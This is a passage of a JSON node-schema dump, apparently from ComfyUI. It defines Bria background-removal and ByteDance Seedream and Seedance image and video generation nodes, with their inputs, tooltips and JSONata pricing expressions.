{"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "moderation", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaRemoveImageBackground", "display_name": "Bria Remove Image Background", "description": "Remove the background from an image using Bria RMBG 2.0.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/image/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.018}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaRemoveVideoBackground": {"input": {"required": {"video": ["VIDEO", {}], "background_color": ["COMBO", {"tooltip": "Background color for the output video.", "multiselect": false, "options": ["Black", "White", "Gray", "Red", "Green", "Blue", "Yellow", "Cyan", "Magenta", "Orange"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "background_color", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaRemoveVideoBackground", "display_name": "Bria Remove Video Background", "description": "Remove the background from a video using Bria. ", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaVideoGreenScreen": {"input": {"required": {"video": ["VIDEO", {}], "green_shade": ["COMBO", {"tooltip": "Solid chroma-key shade applied behind the foreground: broadcast_green (#00B140), chroma_green (#00FF00), or blue_screen (#0000FF).", "multiselect": false, "options": ["broadcast_green", "chroma_green", "blue_screen"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "green_shade", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaVideoGreenScreen", "display_name": "Bria Video Green Screen", "description": "Replace a video's background with a solid chroma-key screen using Bria.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaVideoReplaceBackground": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Foreground video whose background is replaced."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"background_image": ["IMAGE", {"tooltip": "Background image to composite behind the foreground. Provide either a background image or a background video, not both."}], "background_video": ["VIDEO", {"tooltip": "Background video to composite behind the foreground. Provide either a background image or a background video, not both."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "seed"], "optional": ["background_image", "background_video"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "BriaVideoReplaceBackground", "display_name": "Bria Video Replace Background", "description": "Replace a video's background with a supplied image or video using Bria. The output keeps the foreground's resolution and frame rate; a background with a different aspect ratio is stretched to fit, so match it for undistorted results.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaTransparentVideoBackground": {"input": {"required": {"video": ["VIDEO", {}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["images", "mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "BriaTransparentVideoBackground", "display_name": "Bria Remove Video Background (Transparent)", "description": "Remove the background from a video using Bria and return the cut-out frames plus an alpha mask. Connect both to a compositing node, or feed them to Save WEBM to write a transparent video.", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/video/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0042,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["seedream-3-0-t2i-250415"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below", "multiselect": false, "options": ["1024x1024 (1:1)", "864x1152 (3:4)", "1152x864 (4:3)", "1280x720 (16:9)", "720x1280 (9:16)", "832x1248 (2:3)", "1248x832 (3:2)", "1512x648 (21:9)", "2048x2048 (1:1)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 1024, "min": 512, "max": 2048, "step": 64}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 1024, "min": 512, "max": 2048, "step": 64}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "guidance_scale": ["FLOAT", {"tooltip": "Higher value makes the image follow the prompt more closely", "default": 2.5, "min": 1.0, "max": 10.0, "step": 0.01, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size_preset", "width", "height"], "optional": ["seed", "guidance_scale", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageNode", "display_name": "ByteDance Image", "description": "Generate images using ByteDance models via api based on prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedreamNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["seedream 5.0 lite", "seedream-4-5-251128", "seedream-4-0-250828"]}], "prompt": ["STRING", {"tooltip": "Text prompt for creating or editing an image.", "default": "", "multiline": true}], "size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["2048x2048 (1:1)", "2304x1728 (4:3)", "1728x2304 (3:4)", "2560x1440 (16:9)", "1440x2560 (9:16)", "2496x1664 (3:2)", "1664x2496 (2:3)", "3024x1296 (21:9)", "3072x3072 (1:1)", "4096x4096 (1:1)", "Custom"]}]}, "optional": {"image": ["IMAGE", {"tooltip": "Input image(s) for image-to-image generation. Reference image(s) for single or multi-reference generation."}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "sequential_image_generation": ["COMBO", {"tooltip": "Group image generation mode. 'disabled' generates a single image. 'auto' lets the model decide whether to generate multiple related images (e.g., story scenes, character variations).", "multiselect": false, "options": ["disabled", "auto"]}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate when sequential_image_generation='auto'. Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 15, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image.", "advanced": true, "default": false}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size_preset"], "optional": ["image", "width", "height", "sequential_image_generation", "max_images", "seed", "watermark", "fail_on_partial"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedreamNode", "display_name": "ByteDance Seedream 4.5 & 5.0", "description": "Unified text-to-image generation and precise single-sentence editing at up to 4K resolution.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price := $contains(widgets.model, \"5.0 lite\") ? 0.035 :\n $contains(widgets.model, \"4-5\") ? 0.04 : 0.03;\n {\n \"type\":\"usd\",\n \"usd\": $price,\n \"format\": { \"suffix\":\" x images/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceSeedreamNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for creating or editing an image.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "seedream 5.0 lite", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(3K) 3072x3072 (1:1)", "(3K) 2592x3456 (3:4)", "(3K) 3456x2592 (4:3)", "(3K) 4096x2304 (16:9)", "(3K) 2304x4096 (9:16)", "(3K) 2496x3744 (2:3)", "(3K) 3744x2496 (3:2)", "(3K) 4704x2016 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 14, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 14 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}, {"key": "seedream-4-5-251128", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 10 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}, {"key": "seedream-4-0-250828", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(1K) 1024x1024 (1:1)", "(1K) 864x1152 (3:4)", "(1K) 1152x864 (4:3)", "(1K) 1312x736 (16:9)", "(1K) 736x1312 (9:16)", "(1K) 832x1248 (2:3)", "(1K) 1248x832 (3:2)", "(1K) 1568x672 (21:9)", "(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 10 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedreamNodeV2", "display_name": "ByteDance Seedream 4.5 & 5.0", "description": "Unified text-to-image generation and precise single-sentence editing at up to 4K resolution.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price := $contains(widgets.model, \"5.0 lite\") ? 0.035 :\n $contains(widgets.model, \"4-5\") ? 0.04 : 0.03;\n {\n \"type\":\"usd\",\n \"usd\": $price,\n \"format\": { \"suffix\":\" x images/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceTextToVideoNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-pro-fast-251015", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-t2v-250428", "seedance-1-0-pro-fast-251015"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceTextToVideoNode", "display_name": "ByteDance Text to Video", "description": "Generate video using ByteDance models via api based on prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-pro-fast-251015", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428", "seedance-1-0-pro-fast-251015"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "image": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "image", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageToVideoNode", "display_name": "ByteDance Image to Video", "description": "Generate video using ByteDance models via api based on image and prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceFirstLastFrameNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-lite-i2v-250428", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "first_frame": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "last_frame": ["IMAGE", {"tooltip": "Last frame to be used for the video."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": 